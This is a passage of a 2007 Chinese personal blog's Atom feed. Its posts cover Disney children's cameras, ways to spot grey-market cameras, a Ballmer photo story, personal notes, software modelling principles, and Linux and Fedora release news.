疑了。我们一向认为玩摄影只是大人们的事情，殊不知，孩儿界里也逐渐兴起了一股把玩数码相机之风。掀起这股潮流的商家首推世界上最富盛名的迪斯尼 （Disney）公司。该公司近日发售了三款“Disney Pix”系列儿童数码相机，分别是Disney Pix Micro、Disney Pix Click和Disney Pix Max。虽然这三款相机没有什么惊人的科技，但是却能凭借它们活泼生活的画面引起儿童的兴趣。孩子们一旦爱不释手，父母自然得掏钱包。迪斯尼可真是打着孩 子们的主意，逼迫父母乖乖地交钱。&lt;br /&gt;&lt;br /&gt;这三款儿童数码相机具有非常有趣的名字，机身印刷的图案全部以“汽车总动员”、“加勒比海盗”、“美人鱼”等受欢迎的Disney电影和电视节目为蓝本设计，这些琅琅上口的名字和生动的图画更贴近孩子的口味。&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a href="http://bbs.qq.com/allphoto.shtml?url=http://digi.qq.com/images/ld/2005/0913/3/disney_pixmicro_1.jpg" target="_blank"&gt;&lt;img onload="this.style.width=620" alt="网友贴图" src="http://digi.qq.com/images/ld/2005/0913/3/disney_pixmicro_1.jpg" border="0" hspace="5" vspace="5" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bbs.qq.com/allphoto.shtml?url=http://digi.qq.com/images/ld/2005/0913/3/disney_pixmicro_2.jpg" target="_blank"&gt;&lt;img onload="this.style.width=620" alt="网友贴图" src="http://digi.qq.com/images/ld/2005/0913/3/disney_pixmicro_2.jpg" border="0" hspace="5" vspace="5" /&gt;&lt;/a&gt;&lt;br /&gt;Disney Pix Micro&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;儿童数码相机无需太高的技术含量，简单的操作更适合儿童把玩。这三款儿童数码相机中，最低端的Pix Micro的分辨率只有352 x 240，可存储24张照片，使用一颗AAA电池。售价仅为19.99美元（160元人民币）。 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bbs.qq.com/allphoto.shtml?url=http://digi.qq.com/images/ld/2005/0913/3/disney_pixclick_1.jpg" target="_blank"&gt;&lt;img onload="this.style.width=620" alt="网友贴图" src="http://digi.qq.com/images/ld/2005/0913/3/disney_pixclick_1.jpg" border="0" hspace="5" vspace="5" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bbs.qq.com/allphoto.shtml?url=http://digi.qq.com/images/ld/2005/0913/3/disney_pixclick_2.jpg" target="_blank"&gt;&lt;img onload="this.style.width=620" alt="网友贴图" src="http://digi.qq.com/images/ld/2005/0913/3/disney_pixclick_2.jpg" border="0" hspace="5" vspace="5" /&gt;&lt;/a&gt;&lt;br /&gt;Disney Pix Click&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;&lt;span style="color: rgb(102, 0, 102);"&gt;稍微高级一点的Pix Click，分辨率有640 x 480，可存储200张VGA格式的图片。而且还具有2倍光学变焦镜头，1英寸的彩色液晶屏、闪光灯、电视输出，2节AA电池就可以提供它的全部动力。它的价格稍贵一些，售价为49.99美元（400元人民币）。 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bbs.qq.com/allphoto.shtml?url=http://digi.qq.com/images/ld/2005/0913/3/disney_pixmax_1.jpg" target="_blank"&gt;&lt;img onload="this.style.width=620" alt="网友贴图" src="http://digi.qq.com/images/ld/2005/0913/3/disney_pixmax_1.jpg" border="0" hspace="5" vspace="5" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bbs.qq.com/allphoto.shtml?url=http://digi.qq.com/images/ld/2005/0913/3/disney_pixmax_2.jpg" target="_blank"&gt;&lt;img onload="this.style.width=620" alt="网友贴图" src="http://digi.qq.com/images/ld/2005/0913/3/disney_pixmax_2.jpg" border="0" hspace="5" vspace="5" /&gt;&lt;/a&gt;&lt;br /&gt;Disney Pix Max&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;在三款儿童数码相机中最高级的一款是Pix Max，具有300万的有效像素、1.5英寸的彩色液晶显示屏、4倍光学变焦镜头、电视输出、闪光灯和可抽换式的存储卡，需要2节AA电池供电。这款相机的售价为79.99美元（640元人民币）。 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;&lt;span style="color: rgb(0, 153, 153);"&gt;一同发售的还有一款专为女孩设 计的数码相机“Disney Princess Digital Movie Maker”（Disney 公主数字影片制作家），32MB的内存，可拍摄小公主的VGA电影，售价79.99美元（640元人民币）。此外还有一个相册“Disney Keychain Digital Brag Book”（钥匙圈型数码相册），具有1.1英寸液晶屏，可存相片50张，售价29.99美元（240元人民币）。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-135654995573348861?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://bbs.qq.com/cgi-bin/bbs/show/content?groupid=158:30134&amp;messageid=5239&amp;gpc=2&amp;ggpc=0' title='孩子也玩摄影迪斯尼发售三款儿童相机'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/135654995573348861/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=135654995573348861' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/135654995573348861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/135654995573348861'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_10.html' title='孩子也玩摄影迪斯尼发售三款儿童相机'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-6438954324394782056</id><published>2007-02-10T23:13:00.000+08:00</published><updated>2007-02-09T18:43:52.404+08:00</updated><title type='text'>Aptana: The Web IDE</title><content type='html'>&lt;a href="http://www.aptana.com/"&gt;Aptana: The Web IDE&lt;/a&gt;: "Products&lt;br /&gt;&lt;br /&gt;The Aptana IDE is a free, open-source, cross-platform, JavaScript-focused development environment for building Ajax applications. It features code assist on JavaScript, HTML, and CSS languages, FTP/SFTP support and a JavaScript debugger to troubleshoot your code.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.aptana.com/screenshots.php"&gt;Screenshots &gt;&lt;/a&gt; | &lt;a href="http://www.aptana.com/download_all.php"&gt;Download &gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-6438954324394782056?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.aptana.com/' title='Aptana: The Web IDE'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/6438954324394782056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=6438954324394782056' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6438954324394782056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6438954324394782056'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/aptana-web-ide.html' title='Aptana: The Web IDE'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-8844927905807680002</id><published>2007-02-09T18:43:00.000+08:00</published><updated>2007-02-09T15:59:30.476+08:00</updated><title type='text'>如何鉴别数码相机行货与水货</title><content type='html'>&lt;span style="text-decoration: underline;"&gt;准备周末去买个数码相机，copy点东西备忘。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;鉴别行货与水货&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    购买数码相机时，首先应该清点一下包装盒里面是否有中文的产品保修卡及数码相机的中文使用说明书。如果这两样东西都没有，那必是水货无疑。&lt;br /&gt;&lt;br /&gt;    除外用肉眼看之外，最有效也是最便捷的方法就是检查机身序列号。一般来说所有的数码相机都会有一个机身序列号，各大数码相机厂商也都会设有800免费咨询热线，以及中文官方网站提供真伪的查询，只要查询机身序列号，就会很快的分别出水货与行货。&lt;br /&gt;&lt;br /&gt;    再教大家一个方法来鉴别水货和刷号机，就是在数码相机的菜单里会有一个初始化选项，当选中这个选项并执行后，相机的很多设置和选项会恢复到出厂时的状态。这个时候如果是正品行货菜单仍然会是中文的，而如果是水货和刷号机那么菜单在这个时候就会变成英文。&lt;br /&gt;&lt;br /&gt;    还有在购买数码相机的同时一定要向商家索要相关票据，一定要商家把数码相机的机身序列号写在发票上，这样有了问题奸商就无法抵赖了。&lt;br /&gt;&lt;br /&gt;    由于水货数码相机在运输，储藏等渠道上操作的不规范，会对相机本身的质量造成严重影响，留下质量隐患，所以水货产品在价格上具有一定的优势，且水货数码相机无法享受数码相机厂商提供的包括免费维修在内的所有售后服务，所以建议最好还是购买行货产品。&lt;br /&gt;&lt;br /&gt;    另外还要稍留心一些，在购买数码相机的时候一定要货比三家，太高的价格自然是不能接受，但是低于市场平均售价太多也不是什么好事，而且购买数码相机产品最好去正规的经销商或是专卖店去购买。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-8844927905807680002?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://publish.it168.com/cWord/3522.shtml' title='如何鉴别数码相机行货与水货'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/8844927905807680002/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=8844927905807680002' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8844927905807680002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8844927905807680002'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_09.html' title='如何鉴别数码相机行货与水货'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-2933304927461590017</id><published>2007-02-07T17:27:00.000+08:00</published><updated>2007-02-07T17:51:23.344+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IT'/><title type='text'>微软CEO鲍尔默的一天(组图)</title><content type='html'>&lt;a href="http://news.csdn.net/n/20070207/101255.html"&gt;link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;《纽约时报》近日公布了一组图片，介绍了微软CEO鲍尔默(Steve Ballmer)的一天：&lt;br /&gt;看到这个5202，首先想到的是zhengwei5202。。。。&lt;br /&gt;&lt;p align="center"&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206174119.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;5202房是鲍尔默的办公室，门牌上只简单地写着他的名字&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206174345.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;鲍尔默的办公室小得令人吃惊，不过窗外的风景似乎还不错&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206174558.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;早上9:54分，鲍尔默与高级副总裁兼首席战略官Yusuf Mehdi开起了玩笑&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206174913.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;中午12：06，鲍尔默一边与人力资源高级副总裁Lisa Brummel开会，一边玩着室内高尔夫&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206175154.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;中午12:21，鲍尔默一边吃午餐一边查阅邮件&lt;/span&gt;&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p align="center"&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)(2)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206175332.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;下午2:30，鲍尔默与微软CFO Christopher Liddell(右)与微软商业解决方案部门CFO Craig Bruya(中)开会&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)(2)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206175645.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;下午4:14，鲍尔默刚刚与微软Office商业平台部门副总裁Kurt Delbene(左)开完会，两人一起走向另一间会议室，那里还有一场会等着他们&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)(2)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206180405.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;老照片：20年前，鲍尔默与比尔·盖茨在一起。盖茨把自己与鲍尔默的关系形容为“最伟大的商业合作伙伴关系之一”&lt;/span&gt;&lt;/p&gt; &lt;p align="center"&gt;&lt;img style="border: 1px solid rgb(0, 0, 0);" alt="纽约时报：微软CEO鲍尔默的一天(组图)(2)" src="http://image2.sina.com.cn/IT/ul/2007/0206/U58P2DT20070206180906.jpg" /&gt;&lt;br /&gt;&lt;span style="font-size:12;"&gt;去年6月，盖茨把公司管理大权交给了鲍尔默，宣布将退居幕后，将更多精力放在慈善事业上&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-2933304927461590017?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://news.csdn.net/n/20070207/101255.html' title='微软CEO鲍尔默的一天(组图)'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/2933304927461590017/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=2933304927461590017' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2933304927461590017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/2933304927461590017'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/ceo.html' title='微软CEO鲍尔默的一天(组图)'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-4962507713691944269</id><published>2007-02-06T23:04:00.001+08:00</published><updated>2007-02-06T23:10:14.105+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><title type='text'>明天要去滑雪啦！！！</title><content type='html'>第一次滑雪！在密云的南山滑雪场，7点就要从公司坐车过去，好久没有这么早起了，要起步来就。。。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-4962507713691944269?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/4962507713691944269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=4962507713691944269' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/4962507713691944269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/4962507713691944269'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_06.html' title='明天要去滑雪啦！！！'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-3429601466461052334</id><published>2007-02-06T23:02:00.001+08:00</published><updated>2007-02-06T23:09:33.719+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><title type='text'>Reaplayer 的网站太滥了！</title><content type='html'>想上www.realplayer.com，它非要给你跳到中文网站，在网站上的语言更改成了英文还没有用，真受不了！！！&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-3429601466461052334?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/3429601466461052334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=3429601466461052334' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3429601466461052334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/3429601466461052334'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/reaplayer.html' title='Reaplayer 的网站太滥了！'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-1090191435072768079</id><published>2007-02-05T21:07:00.000+08:00</published><updated>2007-02-05T21:23:38.870+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><title type='text'>好久没有这么热闹了！</title><content type='html'>好久没有这么多同学在一起玩了，和以前不同的是可以自己做饭吃。毛主席说过，自己动手，丰衣足食，哈哈！！&lt;br /&gt;&lt;br /&gt;suiyecc快中午过来的，吃了就睡，睡了起来发现从85公斤涨到了90公斤。。。不过我好像也从67公斤增加到了70公斤，称被称坏了。。。估计suiyecc晚上去丈母娘家吃完晚饭后就95公斤了。。&lt;br /&gt;&lt;br /&gt;下午又waterp, immortality, caijc, spiderz, xiaoyzvicki, shb光临~~，真有在学校考试完的感觉，immortality声音还是那么大，哈哈。&lt;br /&gt;&lt;br /&gt;可惜没有相机，immortality手机拍的还没有贴出来就回家了~~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-1090191435072768079?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/1090191435072768079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=1090191435072768079' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/1090191435072768079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/1090191435072768079'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_3849.html' title='好久没有这么热闹了！'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-857683120711341532</id><published>2007-02-05T12:45:00.000+08:00</published><updated>2007-02-05T14:21:42.802+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Develop'/><title type='text'>怎样成为优秀的软件模型设计者？</title><content type='html'>(Click the title to read full text)&lt;br /&gt;点击标题阅读详细内容。&lt;br /&gt;&lt;br /&gt;作者：Scott        Ambler著，乐林峰 译   &lt;br /&gt;      选自：www.umlchina.com&lt;br /&gt;&lt;br /&gt;我们期待自己成为一个优秀的软件模型设计者，但是，要怎样做，又从哪里开始呢？&lt;br /&gt;&lt;br /&gt;将下列原则应用到你的软件工程中，你会获得立杆见影的成果。&lt;br /&gt;&lt;br /&gt;以下是提纲：&lt;br /&gt;&lt;br /&gt;1. 人远比技术重要&lt;br /&gt;2. 理解你要实现的东西&lt;br /&gt;3. 谦虚是必须的品格&lt;br /&gt;4. 需求就是需求&lt;br /&gt;5. 需求其实很少改变，改变的是你对需求的理解&lt;br /&gt;6. 经常阅读&lt;br /&gt;7. 降低软件模块间的耦合度&lt;br /&gt;8. 提高软件的内聚性&lt;br /&gt;9. 考虑软件的移植性&lt;br /&gt;10. 接受变化&lt;br /&gt;11. 不要低估对软件规模的需求&lt;br /&gt;12. 性能仅仅是很多设计因素之一&lt;br /&gt;13. 管理接口&lt;br /&gt;14. 走近路需要更长的时间&lt;br /&gt;15. 别信赖任何人&lt;br /&gt;16. 证明你的设计在实践中可行&lt;br /&gt;17. 应用已知的模式&lt;br /&gt;18. 研究每个模型的长处和弱点&lt;br /&gt;19. 在现有任务中应用多个模型&lt;br /&gt;20. 教育你的听众&lt;br /&gt;21. 带工具的傻瓜还是傻瓜&lt;br /&gt;22. 理解完整的过程&lt;br /&gt;23. 常做测试，早做测试&lt;br /&gt;24. 把你的工作归档&lt;br /&gt;25. 技术会变，基本原理不会&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.uml.org.cn/success/success13.htm"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(0, 128, 128);"&gt;&lt;span style=";font-family:方正姚体;font-size:6;"  &gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/a&gt;&lt;a href="http://community.csdn.net/Expert/TopicView3.asp?id=5327107"&gt; &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-857683120711341532?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/857683120711341532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=857683120711341532' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/857683120711341532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/857683120711341532'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/blog-post_05.html' title='怎样成为优秀的软件模型设计者？'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-879763281479806774</id><published>2007-02-05T11:51:00.000+08:00</published><updated>2007-02-05T11:56:21.869+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Linux Kernel 2.6.20 Released!!</title><content type='html'>(Click the link to read full text)&lt;br /&gt;Link:&lt;a href="http://linux.slashdot.org/article.pl?sid=07/02/04/221232"&gt; http://linux.slashdot.org/article.pl?sid=07/02/04/221232&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;After two months of development, &lt;a href="http://lkml.org/lkml/2007/2/4/119"&gt;Linux 2.6.20 has been released&lt;/a&gt;. This release includes two different virtualization implementations: &lt;a href="http://kvm.sourceforge.net/"&gt;KVM&lt;/a&gt;: full-virtualization capabilities using Intel/AMD virtualization extensions and a &lt;a href="http://lwn.net/Articles/194543"&gt;paravirtualization implementation&lt;/a&gt; usable by different hypervisors. Additionally, 2.6.20 includes PS3 support, a &lt;a href="http://lwn.net/Articles/209257"&gt;fault injection&lt;/a&gt; debugging feature, UDP-lite support, better per-process IO accounting, relative atime, relocatable x86 kernel, some x86 microoptimizations, lockless radix-tree readside, shared pagetables for hugetbl, and many other things. Read the &lt;a href="http://kernelnewbies.org/Linux_2_6_20"&gt;list of changes&lt;/a&gt; for more details.&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-879763281479806774?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/879763281479806774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=879763281479806774' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/879763281479806774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/879763281479806774'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/02/linux-kernel-2620-released.html' title='Linux Kernel 2.6.20 Released!!'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-8196744540473982167</id><published>2007-02-04T23:30:00.000+08:00</published><updated>2007-02-07T18:04:24.201+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Announcing Fedora 7 Test 1 (6.90)</title><content type='html'>Fedora Core 6 才没几天，下了都还没安，这么快就开始7的测试了~~更新软件跟更新blog似的，真耗时间，什么时候赶紧试试FC 6。。。&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title"  style="font-family:times new roman;"&gt;&lt;span style="font-size:100%;"&gt;Announcing Fedora 7 Test 1 (6.90)&lt;/span&gt;&lt;/h4&gt;                                                       &lt;!-- start main content --&gt;             &lt;!-- begin content --&gt;       &lt;div class="info"&gt;Submitted by &lt;a href="http://fedoranews.org/cms/ThomasChung" title="View user profile."&gt;ThomasChung&lt;/a&gt; on Thu, 2007-02-01 09:26.&lt;span class="taxonomy"&gt; :: &lt;a href="http://fedoranews.org/cms/Announcement"&gt;Announcement&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;   &lt;div class="content"&gt;   &lt;p&gt;Fedora 7 Test 1 has been released today.  For this particular release, we only&lt;br /&gt;did a Desktop spin of the package collection.  We are still fine tuning&lt;br /&gt;targetted spins of the collection as part of the merger of Core and Extras.&lt;br /&gt;We also produced a LiveCD that has the ability to install to your harddrive,&lt;br /&gt;should you wish.&lt;/p&gt; &lt;p&gt;&lt;a href="http://fedoraproject.org/wiki/Releases/7"&gt;http://fedoraproject.org/wiki/Releases/7&lt;/a&gt; has the gory details of our work on&lt;br /&gt;the 7th release of Fedora.&lt;/p&gt; &lt;p&gt;Downloads&lt;br /&gt;=========&lt;br /&gt;DVD, CD and network installation are available.&lt;br /&gt;Please read the Important Warnings below in this announcement for more&lt;br /&gt;details.&lt;/p&gt; &lt;p&gt;&lt;a href="http://torrent.fedoraproject.org/"&gt;http://torrent.fedoraproject.org/&lt;/a&gt;&lt;br /&gt;The recommended method of download is via BitTorrent from this site.&lt;/p&gt; &lt;p&gt;&lt;a href="http://fedora.redhat.com/Download/mirrors.html"&gt;http://fedora.redhat.com/Download/mirrors.html&lt;/a&gt;&lt;br /&gt;HTTP, FTP, and RSYNC downloads are available from Fedora Project mirrors&lt;br /&gt;listed above.  &lt;strong&gt;Note that not all mirrors may be synced at this time.&lt;/strong&gt;&lt;/p&gt;    &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-8196744540473982167?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://fedoranews.org/cms/node/2539' title='Announcing Fedora 7 Test 1 (6.90)'/><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/8196744540473982167/comments/default' title='Post Comments'/><link rel='replies' 